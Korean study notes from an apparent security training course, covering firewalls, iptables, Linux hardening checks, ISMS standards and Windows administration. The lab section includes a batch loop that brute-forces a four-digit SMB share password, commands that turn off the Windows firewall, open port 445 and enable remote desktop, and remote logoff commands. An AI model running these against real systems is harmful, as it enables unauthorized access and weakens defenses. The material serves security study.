Claude와 사용자/관리자 페이지 디자인을 상의하면서 나는 정말 디자인 감각이 없다는 걸 깨달았다. 당장 지금 Claude가 만들어준 디자인도 나는 괜찮아 보이는데 다른 사람이 보면 이상해 보일 수도 있지 않을까...? 🤔 뭐 어쨌든 일단은 내가 할 수 있는 일(기획과 개발)에 집중하기로 했다.
/ 리눅스 - 리눅스는 자신의 상태를 알려주는 다양한 기능이 존재한다. - 자동 보고 기능 - abrt-cli list --since 1677720201 - rsyslogd ---> /var/log > 윈도우(sysmon.exe)
/ 윈도우 방화벽 - 방화벽 : 시스템 방화벽 -> 고급 방화벽 -> iptables와 유사하다.(특정 프로그램 / 특정 포트를 대상으로 한다.) - defender(커널단...) -> selinux와 유사하다. - 직접 설치 : 백신 / 키로그방지 / 브라우저 자체 방화벽 - 방화벽 모듈 --> WAF ---> CATLE / Web Knight / Snort
/ 리눅스 방화벽 - selinux(커널단 방화벽) > enforcing : 활성화 > permissive : 비활성화 > disabled : 꺼짐 > 명령 : setenforce / getenforce / setbool - iptables : port / service 단위 등록 / Network + rich rule(기본 룰 + 추가 옵션) - RHEL --> firewalld ex) firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="14.36.28.128/25" port protocol="tcp" port="22" accept' - Ubuntu ---> ufw ex) ufw allow from 10.0.2.15 to any port 9666 - 최신형 nftable(nework filter tables) > iptables, ip6tables, arptables 기능을 모두 포함하는 tool 입니다. - tcpwrapper ---> 서비스단에 전달되기 직전 방화벽
-j : 정책 ---> 1. DROP 2. ACCEPT 3. REJECT 4. LOG 5. RETURN
-A : 새로운 규칙을 추가한다. (--append) -D : 규칙을 삭제한다. (--delete) -C : 패킷을 테스트한다. (--check) -I : 새로운 규칙을 삽입한다. (--insert) * -A와 다른점은 -A는 아무런 규칙이 없는 상태에서 추가를 하는 것이고 -I 옵션은 규칙이 생성된 상태에서 삽입한다는 의미이다. -R : 새로운 규칙으로 교체한다. (--replace) -L : 새로운 규칙을 출력한다. (--list) -F : 체인의 모든 규칙을 삭제한다. (--flush) -Z : 모든 체인의 패킷과 바이트 카운터 값을 0으로 만든다. (--zero) -N : 새로운 체인을 만든다. (--new) -X : 체인을 삭제한다. (--delete-chain) -P : 기본정책을 변경한다. (--policy)
-p : 패킷의 프로토콜의 포트번호 또는 이름을 명시한다. (--proto) (ex: tcp, udp, 21, 22) -s : 패킷의 발신지를 명시한다. (--source) -d : 패킷의 도착지를 명시한다. (--destination) -i : 규칙을 적용할 인터페이스 이름을 명시한다. (--in-interface) -j : 규칙에 맞는 패킷을 어떻게 처리할 것인가를 명시한다. (--jump) -y : 접속 요청 패킷인 SYN패킷을 허용하지 않는다. (--syn) -f : 두 번째 이후의 패킷에 대해서 규칙을 명시한다. (--fragment) -m : 특정 모듈과의 매치 (--match)
/ 예제
iptables -A INPUT -p tcp -m tcp --dport 80 -j --syn DROP
iptables -A INPUT -p tcp -s 192.168.0.0/24 -d 192.168.0.10 --dport 80 -j DROP
ssh 서비스로 60초간 10번의 접속 시도가 발생하면 DROP iptables -I INPUT -p tcp --dport 22 -m state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP
nftables ---> iptables로 구성된 설정 ---> 변환 적용 가능 (iptables-translate)
최신 도커를 올리는 경우 실행할 때 추가 옵션이 필요한 경우 있음 --iptables=false
/ 서버 입장에서 가장 성가신 부분 - DOS 공격 : icmp - 기본적인 보안 세팅 : icmp_echo_ignore - cd /proc/sys/net/ipv4 - cat icmp_echo_ignore_all > 0 : disable > 1 : enable - 핑 응답을 하지 않도록 설정 : echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all > Netdiscovery를 방지 할 수 있다.
/ 취약점 (분석) 명령어 - 현재 실행중인 프로세스 확인 : ps -ef - 마지막 접속 정보 확인 : last - 현재 접속중인 사용자 : w / who
/ Set UID : (권한제어) - 접근제어 > superuser만 사용할 수 있는 디렉터리 : /sbin > 일반계정도 사용할 수 있는 디렉터리 : /bin - find / -user root -perm -4000 -print > 4000_perm.txt > 현재 상태 : 백도어가 없는 클린 상태 4000_perm.txt - find / -user root -perm -4000 -print > 4000_perm_1.txt - diff 4000_perm.txt 4000_perm_1.txt
root@Centos7:~/tmp# find / -user root -perm -4000 -print > 4000_perm.txt find: ‘/proc/130270/task/130270/fd/5’: 그런 파일이나 디렉터리가 없습니다 find: ‘/proc/130270/task/130270/fdinfo/5’: 그런 파일이나 디렉터리가 없습니다 find: ‘/proc/130270/fd/6’: 그런 파일이나 디렉터리가 없습니다 find: ‘/proc/130270/fdinfo/6’: 그런 파일이나 디렉터리가 없습니다 root@Centos7:~/tmp# find / -user root -perm -4000 -print > 4000_perm_1.txt find: ‘/proc/130389/task/130389/fd/5’: 그런 파일이나 디렉터리가 없습니다 find: ‘/proc/130389/task/130389/fdinfo/5’: 그런 파일이나 디렉터리가 없습니다 find: ‘/proc/130389/fd/6’: 그런 파일이나 디렉터리가 없습니다 find: ‘/proc/130389/fdinfo/6’: 그런 파일이나 디렉터리가 없습니다 root@Centos7:~/tmp# diff 4000_perm.txt 4000_perm_1.txt root@Centos7:~/tmp#
sticky (4000)으로 설정된 추가파일이 없음
/ 백도어 설치 여부 점검 - /dev, /tmp 체크 : 기본적으로 디렉토리 퍼미션에 sticky가 붙어있다.
/ rootkit 탐색 - find /dev -type f -exec ls -l {} \;
ISO : 국제 표준 기구 보안과 관련된 사항을 정리 ----> ISO 2700X 패밀리 : 최소한... --> 27001 정보보호관리체계 ===> ISMS 처벌 규정이 존재하지 않는다. ---> 다만 국제 정보처리 과정 : ISMS 인증을 받은 기관끼리만 정보 교류가 가능하다. 개인정보보호관리체계 ---> PIMS. 정부기관 정보보호관리체계 ---> G-ISMS
KISA ---> ISMS + P-ISMS ===> ISMS-P
ISMS ----> 1. 물리적 보안 ---> 캡스 (접근제어 : 인간) 2. 기술적 보안 ----> 보안 담당자 3. 관리적 보안 ----> ISMS 의 집중사항 : 보안 책임자
유럽 : GDPR --> 보안 가이드 + 처벌 국제 : ISMS 한국 : ISMS-P
기술적 보안 ---> 시스템 (주정통) --- 1. Linux 계열 2. 윈도우 계열 #3. ARM <--- 산업용 제외 3. 보안위협 / 취약점 점검 / 보안관리 ===> 서버 / 네트워크 관제 <--- OP : 운영관리 OK 모니터링 : OUT 보안 관제 ---> 분석 ---> 평가 / 취약점 점검 ---> CERT 네트워크 (주정통) --- 1. 계층별 패킷 분석(L1 ~ L4) 2. 네트워크 장비 (스위치 / 라우터) 3. 네트워크 보안 장비 (IPS / IDS)
---> ESM --> SIEM
어플리케이션 --- 1. DB 2. APP (어플리케이션) -- 1. 모바일 2. Web 3. WAS 보안법규 --- 1. 개인정보 2. 안전조치 ----------> CERT 3. 사고 사례
1. 시스템 -- 윈도우 / 리눅스 윈도우 ---> POST 과정 1. 전원 켜기 2. post(POWER ON SELF TEST) ㄴ ROM -> 저장된 BIOS 프로그램 작동 -> BIOS 설정된 하드웨어의 장비가 이상이 없는지 체크 -> (이상 발생 시 소리) 1. 메인보드 전원 확인 2. CPU 확인 3. 그래픽카드 확인 4. RAM 체크 =============== 기본 장비엔 이상이 없음. ===================== 3. MBR(Master Boot Recoder) 읽기 BIOS에 설정된 부팅 순서에 따라 MBR : Boot Loader ----> NTLDR : XP 이하 BOOTMGR 저장소에 있는 부팅 이미지를 메모리에 상주 시킨다. ---> 부팅과 관련된 설정 정보 ---> 멀티 부팅이 가능하다. 정보 : BIOS가 갖고 있는 정보 + 윈도우 (프로필)에 등록된 정보보 winload.exe : *** Ntoskrnl.exe / hal.dll 실행 => 레지스트리에 등록되어 있는 시스템 설정정보를 읽어서 하드웨어 관련 드라이브 로딩 => 로그온 화면 출력 4. 로그인 ----> 단독 그룹 ---> Local 프로필 ----> 도메인 ----> 도메인안에 있는 프로필
실습 cmd <--- 도스 명령어 도스 명령어 for %i in (1,1,5) do echo %i for /L %i in (1,1,5) do echo %i 파이썬 코드 for i in range(1,6,1): print(i)
세상에서 제일 쉬운 브루트 포스 공격 대상 서버 : 192.168.0.160 <-- 공유폴더 : smb 계정을 사용한다. 패스워드 : 4자리의 숫자를 사용한다. 1234 공유폴더이름 : /share 공유폴더 접근을 위한 명령어 net use \\192.168.0.160\share /USER:smb 1234
C:\Users\kitri>net use \\192.168.0.160\share /USER:smb 1234 시스템 오류 86이(가) 생겼습니다.
지정된 네트워크 암호가 맞지 않습니다.
ID는 맞으나 비밀번호가 틀림. for /L %i in (1230,1,1235) do net use \\192.168.0.160\share /USER:smb %i
C:\Users\kitri>net use \\192.168.0.160\share /USER:smb 1233 시스템 오류 86이(가) 생겼습니다.
지정된 네트워크 암호가 맞지 않습니다.
C:\Users\kitri>net use \\192.168.0.160\share /USER:smb 1234 명령을 잘 실행했습니다.
C:\Users\kitri>net use \\192.168.0.160\share /USER:smb 1235 시스템 오류 1219이(가) 생겼습니다.
동일한 사용자가 둘 이상의 사용자 이름으로 서버 또는 공유 리소스에 다중 연결할 수 없습니다. 서버나 공유 리소스에 대한 이전 연결을 모두 끊고 다시 시도하십시오.
C:\Users\kitri>net use \\192.168.0.160\share /USER:smb 1234 명령을 잘 실행했습니다.
패스워드 : 1234 임을 알 수 있다.
주정통의 설정값 -----> 로컬보안정책 : 수동으로 확인 자동화 ---> 보안템플릿 내보내기 로컬 보안 정책 > 동작 > 정책 내보내기
C:\WINDOWS\system32>net accounts 만료 시간이 지난 얼마 후에 강제 로그오프하시겠습니까?: 아님 최소 암호 사용 기간 (일): 0 최대 암호 사용 기간 (일): 42 최소 암호 길이: 0 암호 기록 개수: 없음 잠금 임계값: 아님 잠금 기간 (분): 30 잠금 관찰 창 (분): 30 컴퓨터 역할: WORKSTATION 명령을 잘 실행했습니다.
/ spawn - 별도의 프로세스로 움직이는 애들
/ runas - spawn ---> 하위 프로세스를 생성 ---> fork - 파이썬 -> 브라우저 실행 - runas /user:kitri notepad.exe - runas /user:kitri "notepad.exe \"aaa.txt\"" - 다른 계정을 이용해서 커맨드 실행이 가능하다
/ 실습 - 현재 자신이 접속한 계정 : kitri > cmd(관리자 권한 실행) - 현재 접속한 자신의 계정 정보 확인 > query session - runas /user:administrator "notepad.exe \"C:\Users\kitri\Desktop\시스템.txt\""
/ 방화벽 해제 - netsh advfirewall set allprofiles state off
/ 방화벽 제어 - 특정 포트를 열어준다. - 445번 포트 - 이터널 블루 취약점 - smb취약점(MS17-010) - netsh advfirewall firewall add rule name="tcp-445" dir=in action=allow protocol=tcp localport=445
/ 원격데스크탑 허용 - 레지스트리 편집 (regedit) - 컴퓨터\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections
/ 다른 컴퓨터에 접속하는 방법 - net use \\192.168.0.160 /u:kitri
/ 특정 사용자 로그오프 - 다른 컴퓨터 사용자 확인 : query session /server:localhost - 다른 컴퓨터 사용자 확인 :query session /server:192.168.0.160 - 로그오프 : logoff /server:192.168.0.160 세션ID > logoff /server:192.168.0.160 2
/ 주요정보통신기반시설 - 기술적 취약점 분석/평가 방법 상세가이드를 참고하여 체크한다. - 파이썬을 사용하여 자동으로 검사하도록 만들어보자.